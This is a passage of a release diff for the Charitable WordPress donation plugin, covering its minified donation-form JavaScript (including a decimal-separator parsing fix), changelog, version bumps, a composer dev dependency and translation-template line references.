this.form.find("#charitable-gateway-selector input[name=gateway]")};Donation_Form.prototype.hide_inactive_payment_methods=function(){var active=this.get_payment_method();var fields=this.form.find(".charitable-gateway-fields[data-gateway!="+active+"]");fields.hide();fields.find("input[required],select[required],textarea[required]").attr("data-required",1).attr("required",false)};Donation_Form.prototype.show_active_payment_methods=function(active){var active=active||this.get_payment_method();var fields=this.form.find(".charitable-gateway-fields[data-gateway="+active+"]");fields.show();fields.find("[data-required]").attr("required",true)};Donation_Form.prototype.format_amount=function(price,symbol){if(typeof symbol==="undefined")symbol="";return accounting.formatMoney(price,{symbol:symbol,decimal:CHARITABLE_VARS.currency_format_decimal_sep,thousand:CHARITABLE_VARS.currency_format_thousand_sep,precision:CHARITABLE_VARS.currency_format_num_decimals,format:CHARITABLE_VARS.currency_format}).trim()};Donation_Form.prototype.unformat_amount=function(price){return Math.abs(parseFloat(accounting.unformat(price,CHARITABLE_VARS.currency_format_decimal_sep)))};Donation_Form.prototype.add_error=function(message){this.errors.push(message)};Donation_Form.prototype.get_errors=function(){return this.errors};Donation_Form.prototype.get_error_message=function(){return this.errors.join(" ")};Donation_Form.prototype.print_errors=function(errors){var e=errors||this.errors,i=0,count=e.length,output="",error_notice_donation_display=typeof CHARITABLE_VARS.error_notice_donation_display==="undefined"?"top":CHARITABLE_VARS.error_notice_donation_display;if(0===count){return}if(this.form.find(".charitable-form-errors").length){this.form.find(".charitable-form-errors").remove()}output+='<div class="charitable-form-errors charitable-notice"><ul class="errors"><li>';output+=e.join("</li><li>");output+="</li></ul></div>";if(error_notice_donation_display==="bottom"){this.form.append(output)}else{this.form.prepend(output)}};Donation_Form.prototype.clear_errors=function(){this.errors=[];if(this.form.find(".charitable-form-errors").length){this.form.find(".charitable-form-errors").remove()}};Donation_Form.prototype.waiting=function(){return this.pending_processes.length>0};Donation_Form.prototype.add_pending_process=function(process){var index=this.pending_processes.indexOf(process);return-1===index?this.pending_processes.push(process)-1:index};Donation_Form.prototype.remove_pending_process=function(index){this.pending_processes.splice(index,1)};Donation_Form.prototype.remove_pending_process_by_name=function(process){var index=this.pending_processes.indexOf(process);return-1!==index&&this.remove_pending_process(index)};Donation_Form.prototype.show_processing=function(){this.form.find(".charitable-form-processing").show();this.form.find('button[name="donate"]').hide()};Donation_Form.prototype.hide_processing=function(){this.form.find(".charitable-form-processing").hide();this.form.find('button[name="donate"]').show();this.submit_processing=false;this.pause_processing=false};Donation_Form.prototype.scroll_to_top=function(){if(this.prevent_scroll_to_top){this.prevent_scroll_to_top=false;return}var $modal=this.form.parents(".charitable-modal");if($modal.length){$modal.scrollTop(0)}else{window.scrollTo(this.form.offset().left,this.form.offset().top)}};Donation_Form.prototype.cancel_processing=function(errors){this.hide_processing();this.print_errors(errors);var error_notice_donation_display=typeof CHARITABLE_VARS.error_notice_donation_display==="undefined"?"top":CHARITABLE_VARS.error_notice_donation_display;if(""===error_notice_donation_display||"top"===error_notice_donation_display){this.scroll_to_top()}this.form.trigger("charitable:form:cancelled",this)};Donation_Form.prototype.set_donation_id=function(donation_id){this.form.find("[name=ID]").val(donation_id)};Donation_Form.prototype.get_data=function(){return this.form.serializeArray().reduce(function(obj,item){if("[]"===item.name.slice(-2)){var name=item.name.slice(0,-2);if(!obj.hasOwnProperty(name)){obj[name]=[]}obj[name].push(item.value)}else{obj[item.name]=item.value}return obj},{})};Donation_Form.prototype.get_required_fields=function(){var fields=this.form.find(".charitable-fieldset .required-field").not("#charitable-gateway-fields .required-field"),method=this.get_payment_method();if(""!==method){var gateway_fields=this.form.find("[data-gateway="+method+"] .required-field");if(gateway_fields.length){fields=$.merge(fields,gateway_fields)}}return fields};Donation_Form.prototype.subtotal_exceeds_maximum=function(){return""!==CHARITABLE_VARS.maximum_donation&&this.get_subtotal()>parseFloat(CHARITABLE_VARS.maximum_donation)};Donation_Form.prototype.is_valid_amount=function(){var minimum=parseFloat(CHARITABLE_VARS.minimum_donation);if(this.subtotal_exceeds_maximum()){return false}return minimum>0||CHARITABLE_VARS.permit_0_donation?this.get_subtotal()>=minimum:this.get_subtotal()>minimum};Donation_Form.prototype.validate_amount=function(){if(false===this.is_valid_amount()){if(this.get_subtotal()>0&&this.subtotal_exceeds_maximum()){this.add_error(CHARITABLE_VARS.error_max_exceeded)}else{this.add_error(CHARITABLE_VARS.error_invalid_amount)}return false}return true};Donation_Form.prototype.validate_required_fields=function(){var has_all_required_fields=true;this.get_required_fields().each(function(){if(""===$(this).find("input, select, textarea").val()){has_all_required_fields=false}});if(!has_all_required_fields){this.add_error(CHARITABLE_VARS.error_required_fields)}return has_all_required_fields};Donation_Form.prototype.validate=function(){this.clear_errors();this.validate_amount();this.validate_required_fields();this.form.trigger("charitable:form:validate",this);return this.errors.length===0};exports.Donation_Form=Donation_Form})(CHARITABLE,jQuery);(function(exports,$){var Toggle=function(){var hide_target=function(){get_target($(this)).addClass("charitable-hidden")};var get_target=function($el){var target=$el.data("charitable-toggle");if(target[0]!=="."&&target[0]!=="#"){target="#"+target}return $(target)};var on_toggle=function(){var $this=$(this),$target=get_target($this);$target.toggleClass("charitable-hidden",function(){if($this.is(":checkbox")){return!$this.is(":checked")}return false===$target.hasClass("charitable-hidden")}());return false};var init=function(){$("[data-charitable-toggle]").each(hide_target)};$("body").on("click","[data-charitable-toggle]",on_toggle);if(exports.content_loading){var timer=setInterval(function(){if(false===exports.content_loading){init();clearInterval(timer)}},500)}return init};exports.Toggle=Toggle()})(CHARITABLE,jQuery);CHARITABLE.VersionCompare=function(version,compare){compare=compare||CHARITABLE_VARS.version;if(typeof version+typeof compare!="stringstring")return false;var a=version.split("."),b=compare.split("."),i=0,len=Math.max(a.length,b.length);for(;i<len;i++){if(a[i]&&!b[i]&&parseInt(a[i])>0||parseInt(a[i])>parseInt(b[i])){return 1}else if(b[i]&&!a[i]&&parseInt(b[i])>0||parseInt(a[i])<parseInt(b[i])){return-1}}return 0};(function(exports,$){CHARITABLE.ResetSuggestedDonations=function(){if($(".charitable-donation-options").length=0){return false}$('ul.donation-amounts input[type="radio"]').each(function(){if($(this).is(":checked")){$(this).closest("li").addClass("selected")}else{$(this).closest("li").removeClass("selected")}})}})(CHARITABLE,jQuery);(function($){CHARITABLE.forms_initialized=false;$(document).ready(function(){$("html").addClass("js");var forms=[];$(".charitable-donation-form").each(function(){forms.push(new CHARITABLE.Donation_Form($(this)))});CHARITABLE.Toggle();CHARITABLE.ResetSuggestedDonations()})})(jQuery); \ No newline at end of file +CHARITABLE=window.CHARITABLE||{};(function(exports,$){var Donation_Form=function(form){this.errors=[];this.pending_processes=[];this.form=form;this.pause_processing=false;this.submit_processing=false;this.total=0;this.prevent_scroll_to_top=false;var self=this;var $body=$("body");var on_click_terms=function(){self.form.find(".charitable-terms-text").addClass("active");return false};var on_focus_custom_amount=function(){$(this).closest("li").trigger("click").find("input[name=donation_amount]").prop("checked",true).trigger("change");self.form.off("focus","input.custom-donation-input",on_focus_custom_amount);$(this).focus();self.form.on("focus","input.custom-donation-input",on_focus_custom_amount)};var trigger_amount_change_events=function(){$body.trigger("charitable:form:amount:changed",self);$body.trigger("charitable:form:total:changed",self)};var on_change_custom_donation_amount=function(){var unformatted=self.unformat_amount($(this).val());if($.trim(unformatted)>0){$(this).val(self.format_amount(unformatted))}trigger_amount_change_events()};var on_select_donation_amount=function(){var $li=$(this).closest("li");if($li.hasClass("selected")){return}$li.parents(".charitable-donation-form").find(".donation-amount.selected").removeClass("selected");$li.addClass("selected").find("[name=donation_amount]").prop("checked",true);if($li.hasClass("custom-donation-amount")){$li.find("input.custom-donation-input").focus()}trigger_amount_change_events()};var on_change_payment_gateway=function(){var selectedGateway=$(this).val();self.hide_inactive_payment_methods();self.show_active_payment_methods(selectedGateway);if(selectedGateway==="square"||selectedGateway==="square_core"){setTimeout(function(){window.dispatchEvent(new Event("resize"))},100)}};var on_click_change_amount_link=function(){$(this).parent().addClass("charitable-hidden")};var on_submit=function(event){var helper=event.data.helper;if(helper.submit_processing){return false}helper.submit_processing=true;helper.show_processing();if(false===helper.validate()){helper.cancel_processing();return false}if(false!==helper.pause_processing){return false}if(1!==helper.form.data("use-ajax")){return true}maybe_process(helper,function(){$body.trigger("charitable:form:process",helper)});return false};var maybe_process=function(helper,callback){if(!helper.waiting()){if(helper.get_errors().length>0){helper.cancel_processing()}else{callback()}return}setTimeout(maybe_process,500,helper,callback)};var process_donation=function(event,helper){var data=helper.get_data();var form=helper.form;data.action="make_donation";data.form_action=data.charitable_action;delete data.charitable_action;$.ajax({type:"POST",data:data,dataType:"json",url:CHARITABLE_VARS.ajaxurl,timeout:0,xhrFields:{withCredentials:true},success:function(response){$body.trigger("charitable:form:processed",[response,helper]);if(response.success){maybe_process(helper,function(){window.location.href=response.redirect_to})}else{helper.cancel_processing(response.errors);if(response.donation_id){helper.set_donation_id(response.donation_id)}}}}).fail(function(response,textStatus,errorThrown){if(window.console&&window.console.log){console.log(response)}helper.cancel_processing([CHARITABLE_VARS.error_unknown])});return false};var init=function(){self.form.on("click",".donation-amount",on_select_donation_amount);self.form.on("focus","input.custom-donation-input",on_focus_custom_amount);self.form.on("click",".charitable-terms-link",on_click_terms);self.form.on("blur",".custom-donation-input",on_change_custom_donation_amount);self.form.find(".donation-amount input:checked").each(function(){$(this).closest("li").addClass("selected")});if(self.get_all_payment_methods().length){self.hide_inactive_payment_methods();self.form.on("change","#charitable-gateway-selector input[name=gateway]",on_change_payment_gateway)}self.form.on("click",".change-donation",on_click_change_amount_link);self.form.on("submit",{helper:self},on_submit);if(false===CHARITABLE.forms_initialized){$body.on("charitable:form:process",process_donation);$body.trigger("charitable:form:initialize",self);CHARITABLE.forms_initialized=true}$body.trigger("charitable:form:loaded",self)};init()};Donation_Form.prototype.get_input=function(field){return this.form.find("[name="+field+"]")};Donation_Form.prototype.get_email=function(){return this.form.find("[name=email]").val()};Donation_Form.prototype.is_recurring_donation=function(){var recurring=this.form.find("[name=recurring_donation]:checked, [name=recurring_donation][type=hidden]");return recurring.length&&"once"!==recurring.val()};Donation_Form.prototype.get_suggested_amount=function(){return accounting.unformat(this.form.find("[name=donation_amount]:checked, input[type=hidden][name=donation_amount]").val(),CHARITABLE_VARS.currency_format_decimal_sep)};Donation_Form.prototype.get_custom_amount=function(){var input=this.form.find(".charitable-donation-options.active input.custom-donation-input,.charitable-donation-options.active input.custom-donation-amount");if(0===input.length){input=this.form.find("input.custom-donation-input")}return accounting.unformat(input.val(),CHARITABLE_VARS.currency_format_decimal_sep)};Donation_Form.prototype.get_subtotal=function(){return this.get_suggested_amount()||this.get_custom_amount()};Donation_Form.prototype.get_amount=function(){this.total=this.get_subtotal();this.form.trigger("charitable:form:get_amount",this);return this.total};Donation_Form.prototype.add_amount=function(add){this.total+=add};Donation_Form.prototype.remove_amount=function(remove){this.total-=remove};Donation_Form.prototype.get_description=function(){return this.form.find("[name=description]").val()||""};Donation_Form.prototype.get_cc_number=function(){return this.form.find("#charitable_field_cc_number input").val()||""};Donation_Form.prototype.get_cc_cvc=function(){return this.form.find("#charitable_field_cc_cvc input").val()||""};Donation_Form.prototype.get_cc_expiry_month=function(){return this.form.find("#charitable_field_cc_expiration select.month").val()||""};Donation_Form.prototype.get_cc_expiry_year=function(){return this.form.find("#charitable_field_cc_expiration select.year").val()||""};Donation_Form.prototype.clear_cc_fields=function(){this.form.find("#charitable_field_cc_number input, #charitable_field_cc_name input, #charitable_field_cc_cvc input, #charitable_field_cc_expiration select").removeAttr("name")};Donation_Form.prototype.get_payment_method=function(){return this.form.find("[type=hidden][name=gateway], [name=gateway]:checked").val()||""};Donation_Form.prototype.get_all_payment_methods=function(){return this.form.find("#charitable-gateway-selector input[name=gateway]")};Donation_Form.prototype.hide_inactive_payment_methods=function(){var active=this.get_payment_method();var fields=this.form.find(".charitable-gateway-fields[data-gateway!="+active+"]");fields.hide();fields.find("input[required],select[required],textarea[required]").attr("data-required",1).attr("required",false)};Donation_Form.prototype.show_active_payment_methods=function(active){var active=active||this.get_payment_method();var fields=this.form.find(".charitable-gateway-fields[data-gateway="+active+"]");fields.show();fields.find("[data-required]").attr("required",true)};Donation_Form.prototype.format_amount=function(price,symbol){if(typeof symbol==="undefined")symbol="";return accounting.formatMoney(price,{symbol:symbol,decimal:CHARITABLE_VARS.currency_format_decimal_sep,thousand:CHARITABLE_VARS.currency_format_thousand_sep,precision:CHARITABLE_VARS.currency_format_num_decimals,format:CHARITABLE_VARS.currency_format}).trim()};Donation_Form.prototype.unformat_amount=function(price){var decimal=CHARITABLE_VARS.currency_format_decimal_sep;price=String(price);if(decimal!=="."&&price.indexOf(".")!==-1&&price.indexOf(decimal)===-1){var periodCount=(price.match(/\./g)||[]).length;if(periodCount===1&&!/\.\d{3}$/.test(price)){price=price.replace(".",decimal)}}return Math.abs(parseFloat(accounting.unformat(price,decimal)))};Donation_Form.prototype.add_error=function(message){this.errors.push(message)};Donation_Form.prototype.get_errors=function(){return this.errors};Donation_Form.prototype.get_error_message=function(){return this.errors.join(" ")};Donation_Form.prototype.print_errors=function(errors){var e=errors||this.errors,i=0,count=e.length,output="",error_notice_donation_display=typeof CHARITABLE_VARS.error_notice_donation_display==="undefined"?"top":CHARITABLE_VARS.error_notice_donation_display;if(0===count){return}if(this.form.find(".charitable-form-errors").length){this.form.find(".charitable-form-errors").remove()}output+='<div class="charitable-form-errors charitable-notice"><ul class="errors"><li>';output+=e.join("</li><li>");output+="</li></ul></div>";if(error_notice_donation_display==="bottom"){this.form.append(output)}else{this.form.prepend(output)}};Donation_Form.prototype.clear_errors=function(){this.errors=[];if(this.form.find(".charitable-form-errors").length){this.form.find(".charitable-form-errors").remove()}};Donation_Form.prototype.waiting=function(){return this.pending_processes.length>0};Donation_Form.prototype.add_pending_process=function(process){var index=this.pending_processes.indexOf(process);return-1===index?this.pending_processes.push(process)-1:index};Donation_Form.prototype.remove_pending_process=function(index){this.pending_processes.splice(index,1)};Donation_Form.prototype.remove_pending_process_by_name=function(process){var index=this.pending_processes.indexOf(process);return-1!==index&&this.remove_pending_process(index)};Donation_Form.prototype.show_processing=function(){this.form.find(".charitable-form-processing").show();this.form.find('button[name="donate"]').hide()};Donation_Form.prototype.hide_processing=function(){this.form.find(".charitable-form-processing").hide();this.form.find('button[name="donate"]').show();this.submit_processing=false;this.pause_processing=false};Donation_Form.prototype.scroll_to_top=function(){if(this.prevent_scroll_to_top){this.prevent_scroll_to_top=false;return}var $modal=this.form.parents(".charitable-modal");if($modal.length){$modal.scrollTop(0)}else{window.scrollTo(this.form.offset().left,this.form.offset().top)}};Donation_Form.prototype.cancel_processing=function(errors){this.hide_processing();this.print_errors(errors);var error_notice_donation_display=typeof CHARITABLE_VARS.error_notice_donation_display==="undefined"?"top":CHARITABLE_VARS.error_notice_donation_display;if(""===error_notice_donation_display||"top"===error_notice_donation_display){this.scroll_to_top()}this.form.trigger("charitable:form:cancelled",this)};Donation_Form.prototype.set_donation_id=function(donation_id){this.form.find("[name=ID]").val(donation_id)};Donation_Form.prototype.get_data=function(){return this.form.serializeArray().reduce(function(obj,item){if("[]"===item.name.slice(-2)){var name=item.name.slice(0,-2);if(!obj.hasOwnProperty(name)){obj[name]=[]}obj[name].push(item.value)}else{obj[item.name]=item.value}return obj},{})};Donation_Form.prototype.get_required_fields=function(){var fields=this.form.find(".charitable-fieldset .required-field").not("#charitable-gateway-fields .required-field"),method=this.get_payment_method();if(""!==method){var gateway_fields=this.form.find("[data-gateway="+method+"] .required-field");if(gateway_fields.length){fields=$.merge(fields,gateway_fields)}}return fields};Donation_Form.prototype.subtotal_exceeds_maximum=function(){return""!==CHARITABLE_VARS.maximum_donation&&this.get_subtotal()>parseFloat(CHARITABLE_VARS.maximum_donation)};Donation_Form.prototype.is_valid_amount=function(){var minimum=parseFloat(CHARITABLE_VARS.minimum_donation);if(this.subtotal_exceeds_maximum()){return false}return minimum>0||CHARITABLE_VARS.permit_0_donation?this.get_subtotal()>=minimum:this.get_subtotal()>minimum};Donation_Form.prototype.validate_amount=function(){if(false===this.is_valid_amount()){if(this.get_subtotal()>0&&this.subtotal_exceeds_maximum()){this.add_error(CHARITABLE_VARS.error_max_exceeded)}else{this.add_error(CHARITABLE_VARS.error_invalid_amount)}return false}return true};Donation_Form.prototype.validate_required_fields=function(){var has_all_required_fields=true;this.get_required_fields().each(function(){if(""===$(this).find("input, select, textarea").val()){has_all_required_fields=false}});if(!has_all_required_fields){this.add_error(CHARITABLE_VARS.error_required_fields)}return has_all_required_fields};Donation_Form.prototype.validate=function(){this.clear_errors();this.validate_amount();this.validate_required_fields();this.form.trigger("charitable:form:validate",this);return this.errors.length===0};exports.Donation_Form=Donation_Form})(CHARITABLE,jQuery);(function(exports,$){var Toggle=function(){var hide_target=function(){get_target($(this)).addClass("charitable-hidden")};var get_target=function($el){var target=$el.data("charitable-toggle");if(target[0]!=="."&&target[0]!=="#"){target="#"+target}return $(target)};var on_toggle=function(){var $this=$(this),$target=get_target($this);$target.toggleClass("charitable-hidden",function(){if($this.is(":checkbox")){return!$this.is(":checked")}return false===$target.hasClass("charitable-hidden")}());return false};var init=function(){$("[data-charitable-toggle]").each(hide_target)};$("body").on("click","[data-charitable-toggle]",on_toggle);if(exports.content_loading){var timer=setInterval(function(){if(false===exports.content_loading){init();clearInterval(timer)}},500)}return init};exports.Toggle=Toggle()})(CHARITABLE,jQuery);CHARITABLE.VersionCompare=function(version,compare){compare=compare||CHARITABLE_VARS.version;if(typeof version+typeof compare!="stringstring")return false;var a=version.split("."),b=compare.split("."),i=0,len=Math.max(a.length,b.length);for(;i<len;i++){if(a[i]&&!b[i]&&parseInt(a[i])>0||parseInt(a[i])>parseInt(b[i])){return 1}else if(b[i]&&!a[i]&&parseInt(b[i])>0||parseInt(a[i])<parseInt(b[i])){return-1}}return 0};(function(exports,$){CHARITABLE.ResetSuggestedDonations=function(){if($(".charitable-donation-options").length=0){return false}$('ul.donation-amounts input[type="radio"]').each(function(){if($(this).is(":checked")){$(this).closest("li").addClass("selected")}else{$(this).closest("li").removeClass("selected")}})}})(CHARITABLE,jQuery);(function($){CHARITABLE.forms_initialized=false;$(document).ready(function(){$("html").addClass("js");var forms=[];$(".charitable-donation-form").each(function(){forms.push(new CHARITABLE.Donation_Form($(this)))});CHARITABLE.Toggle();CHARITABLE.ResetSuggestedDonations()})})(jQuery); \ No newline at end of file @@ -1,10 +1,17 @@ -# v1.8.10.4 +# 1.8.10.5 +* NEW: Redesigned the "What's New" splash screen with a new hero section, video, and upgrade buttons. +* NEW: Added a Form navigation icon in the campaign builder. +* IMPROVED: System Info now includes a Hosting Environment section. +* FIX: Hardened input handling in the donations admin search to improve query safety. +* FIX: Resolved a custom donation amount parsing issue with the decimal separator on non-US currency sites in certain scenarios. + +# 1.8.10.4 * FIX: Fixed an issue where multiple Stripe webhook endpoints could accumulate over time, causing donation webhook events to fail signature verification in certain scenarios. -# v1.8.10.3 +# 1.8.10.3 * IMPROVED: Sync Pending Stripe Donations now uses AJAX processing with new dry run and email options. * FIX: Improved Stripe webhook reliability, signing secret handling, and notice wording in certain scenarios. -* FIX: Fixed refund checkbox not appearing when changing donation status to Refunded in certain scenarios. +* FIX: Fixed refund checkbox not appearing when changing donation status to Refunded in certain scenarios # 1.8.10.2 * NEW: Added Sync Pending Stripe Donations tool to gateway settings (beta). @@ -3,11 +3,11 @@ * Plugin Name: Charitable * Plugin URI: https://www.wpcharitable.com * Description: The best WordPress donation plugin. Fundraising with recurring donations, and powerful features to help you raise more money online. - * Version: 1.8.10.4 + * Version: 1.8.10.5 * Author: Charitable Donations & Fundraising Team * Author URI: https://wpcharitable.com * Requires at least: 5.0 - * Stable tag: 1.8.10.4 + * Stable tag: 1.8.10.5 * License: GPLv2 or later * License URI: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html * @@ -39,7 +39,7 @@ const AUTHOR = 'WP Charitable'; /* Plugin version. */ - const VERSION = '1.8.10.4'; + const VERSION = '1.8.10.5'; /* Version of database schema. */ const DB_VERSION = '20180522'; @@ -8,6 +8,7 @@ "Charitable\\": "includes/" } }, - "require": {} + "require-dev": { + "yoast/phpunit-polyfills": "^4.0" + } } - @@ -2,14 +2,14 @@ # This file is distributed under the GPLv2 or later. msgid "" msgstr "" -"Project-Id-Version: Charitable 1.8.10.1\n" +"Project-Id-Version: Charitable 1.8.10.5\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/charitable\n" "Last-Translator: Charitable Team\n" "Language-Team: Charitable Team\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" -"POT-Creation-Date: 2026-03-26T15:17:40+00:00\n" +"POT-Creation-Date: 2026-05-11T18:57:58+00:00\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "X-Generator: WP-CLI 2.12.0\n" "X-Domain: charitable\n" @@ -63,7 +63,13 @@ #: charitable.php:1311 #: includes/admin/charitable-core-admin-functions.php:402 #: includes/admin/class-charitable-admin-getting-started.php:521 -#: includes/admin/dashboard/class-charitable-dashboard.php:1555 +#: includes/admin/dashboard/class-charitable-dashboard.php:1601 +#: includes/admin/splash/class-charitable-admin-splash.php:253 +#: includes/admin/splash/class-charitable-admin-splash.php:313 +#: includes/admin/splash/class-charitable-admin-splash.php:334 +#: includes/admin/splash/class-charitable-admin-splash.php:355 +#: includes/admin/splash/class-charitable-admin-splash.php:376 +#: includes/admin/splash/class-charitable-admin-splash.php:397 #: includes/admin/views/checklist/checklist.php:135 msgid "Upgrade to Pro" msgstr "" @@ -4828,12 +4834,12 @@ msgstr "" #. translators: %s: action id -#: includes/abstracts/abstract-class-charitable-admin-actions.php:270 +#: includes/abstracts/abstract-class-charitable-admin-actions.php:279 #, php-format msgid "Action \"%s\" is not registered." msgstr "" -#: includes/abstracts/abstract-class-charitable-admin-actions.php:440 +#: includes/abstracts/abstract-class-charitable-admin-actions.php:449 #: includes/admin/views/metaboxes/actions.php:86 msgid "Submit" msgstr "" @@ -4867,8 +4873,8 @@ msgstr "" #: includes/abstracts/abstract-class-charitable-email.php:385 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1021 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1444 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1037 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1462 #: includes/admin/campaign-builder/templates/class-templates.php:1727 #: includes/admin/campaigns/class-charitable-campaign-list-table.php:181 msgid "Preview" @@ -4994,15 +5000,15 @@ #: includes/admin/addons-directory/class-charitable-addons-directory.php:107 #: includes/admin/addons-directory/class-charitable-addons-directory.php:136 #: includes/admin/addons-directory/class-charitable-addons-directory.php:151 -#: includes/admin/addons-directory/class-charitable-addons-directory.php:935 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:930 +#: includes/admin/addons-directory/class-charitable-addons-directory.php:1099 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:935 #: includes/admin/campaign-builder/panels/class-marketing.php:477 #: includes/admin/campaign-builder/panels/class-payment.php:575 #: includes/admin/campaigns/class-charitable-campaign-list-table.php:784 #: includes/admin/charitable-admin-addons-functions.php:300 -#: includes/admin/dashboard/class-charitable-dashboard.php:2151 -#: includes/admin/dashboard/class-charitable-dashboard.php:2690 -#: includes/admin/dashboard/class-charitable-dashboard.php:2720 +#: includes/admin/dashboard/class-charitable-dashboard.php:2197 +#: includes/admin/dashboard/class-charitable-dashboard.php:2736 +#: includes/admin/dashboard/class-charitable-dashboard.php:2766 #: includes/admin/donations/class-charitable-donation-list-table.php:1185 #: includes/admin/plugins/class-charitable-admin-plugins-third-party.php:675 msgid "Activate" @@ -5014,10 +5020,10 @@ msgstr "" #: includes/admin/addons-directory/class-charitable-addons-directory.php:109 -#: includes/admin/addons-directory/class-charitable-addons-directory.php:1016 +#: includes/admin/addons-directory/class-charitable-addons-directory.php:1180 #: includes/admin/campaign-builder/templates/class-templates.php:1715 #: includes/admin/charitable-admin-addons-functions.php:289 -#: includes/admin/dashboard/class-charitable-dashboard.php:1000 +#: includes/admin/dashboard/class-charitable-dashboard.php:1046 #: includes/admin/reports/class-charitable-reports.php:341 #: includes/admin/views/campaigns-page/export-form.php:56 #: includes/admin/views/campaigns-page/filter-form.php:39 @@ -5026,20 +5032,20 @@ msgstr "" #: includes/admin/addons-directory/class-charitable-addons-directory.php:110 -#: includes/admin/addons-directory/class-charitable-addons-directory.php:929 +#: includes/admin/addons-directory/class-charitable-addons-directory.php:1093 msgid "Deactivate" msgstr "" #: includes/admin/addons-directory/class-charitable-addons-directory.php:111 -#: includes/admin/addons-directory/class-charitable-addons-directory.php:1017 +#: includes/admin/addons-directory/class-charitable-addons-directory.php:1181 #: includes/admin/charitable-admin-addons-functions.php:297 #: includes/admin/views/metaboxes/campaign-benefactors/summary.php:27 msgid "Inactive" msgstr "" #: includes/admin/addons-directory/class-charitable-addons-directory.php:112 -#: includes/admin/addons-directory/class-charitable-addons-directory.php:953 -#: includes/admin/addons-directory/class-charitable-addons-directory.php:958 +#: includes/admin/addons-directory/class-charitable-addons-directory.php:1117 +#: includes/admin/addons-directory/class-charitable-addons-directory.php:1122 msgid "Install Addon" msgstr "" @@ -5058,14 +5064,14 @@ msgstr "" #: includes/admin/addons-directory/class-charitable-addons-directory.php:131 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:696 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:701 #: includes/admin/class-charitable-admin.php:361 #: includes/admin/onboarding/class-charitable-checklist.php:827 msgid "OK" msgstr "" #: includes/admin/addons-directory/class-charitable-addons-directory.php:132 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:695 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:700 #: includes/admin/class-charitable-admin.php:362 #: includes/admin/views/metaboxes/campaign-benefactors/form.php:54 #: includes/admin/views/metaboxes/donation/donation-form-meta.php:36 @@ -5073,16 +5079,16 @@ msgstr "" #: includes/admin/addons-directory/class-charitable-addons-directory.php:133 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:698 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1654 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:703 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1672 #: includes/admin/views/metaboxes/campaign-benefactors/summary.php:34 msgid "Close" msgstr "" #: includes/admin/addons-directory/class-charitable-addons-directory.php:134 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:884 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:899 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:914 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:889 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:904 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:919 msgid "Install and Activate" msgstr "" @@ -5119,7 +5125,7 @@ msgstr "" #: includes/admin/addons-directory/class-charitable-addons-directory.php:144 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:771 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:776 msgid "Something went wrong" msgstr "" @@ -5146,13 +5152,13 @@ msgstr "" #: includes/admin/addons-directory/class-charitable-addons-directory.php:152 -#: includes/admin/dashboard/class-charitable-dashboard.php:2696 +#: includes/admin/dashboard/class-charitable-dashboard.php:2742 #: includes/admin/plugins/class-charitable-admin-plugins-third-party.php:720 msgid "Setup" msgstr "" #: includes/admin/addons-directory/class-charitable-addons-directory.php:153 -#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1036 +#: includes/admin/campaign-builder/class-charitable-campaign-builder.php:1052 #: includes/admin/campaign-builder/panels/class-settings.php:52 #: includes/admin/campaign-builder/panels/marketing/class-marketing-active-campaign.php:170 #: includes/admin/campaign-builder/panels/marketing/class-marketing-aweber.php:170 @@ -5182,16 +5188,6 @@ #: includes/admin/class-charitable-admin-pages.php:243 #: includes/admin/class-charitable-admin.php:1209 #: includes/admin/templates/campaign-builder-onboarding.php:65 -#: assets/js/blocks/campaign-progress-bar/build/index.js:90 -#: assets/js/blocks/campaign-stats/build/index.js:109 -#: assets/js/blocks/campaigns/build/index.js:161 -#: assets/js/blocks/donation-button/build/index-min.js:4 -#: assets/js/blocks/donation-button/build/index.js:111 -#: assets/js/blocks/donations/build/index.js:94 -#: assets/js/blocks/donors/build/index.js:131 -#: assets/js/blocks/my-donations/build/index.js:93 -#: assets/js/blocks/donors/build/index.js:93 -#: assets/js/blocks/my-donations/build/index.js:69 msgid "Settings" msgstr "" @@ -5224,7 +5220,7 @@ msgstr "" #: includes/admin/addons-directory/class-charitable-addons-directory.php:163 -#: includes/admin/dashboard/class-charitable-dashboard.php:1601 +#: includes/admin/dashboard/class-charitable-dashboard.php:1647 msgid "Activating..." msgstr "" @@ -5284,10 +5280,10 @@ msgstr "" #: includes/admin/addons-directory/class-charitable-addons-directory.php:422 -#: includes/admin/addons-directory/class-charitable-addons-directory.php:853 +#: includes/admin/addons-directory/class-charitable-addons-directory.php:1017 #: includes/admin/campaigns/class-charitable-campaign-list-table.php:775 -#: includes/admin/dashboard/class-charitable-dashboard.php:2213 -#: includes/admin/dashboard/class-charitable-dashboard.php:2726 +#: includes/admin/dashboard/class-charitable-dashboard.php:2259 +#: includes/admin/dashboard/class-charitable-dashboard.php:2772 #: includes/admin/donations/class-charitable-donation-list-table.php:1176 #: includes/admin/views/tools/snippets.php:131 msgid "Installed" @@ -5314,35 +5310,43 @@ msgid "Search Addons" msgstr "" -#: includes/admin/addons-directory/class-charitable-addons-directory.php:848 +#: includes/admin/addons-directory/class-charitable-addons-directory.php:929 +msgid "Charitable Pro is the upgraded version of your current 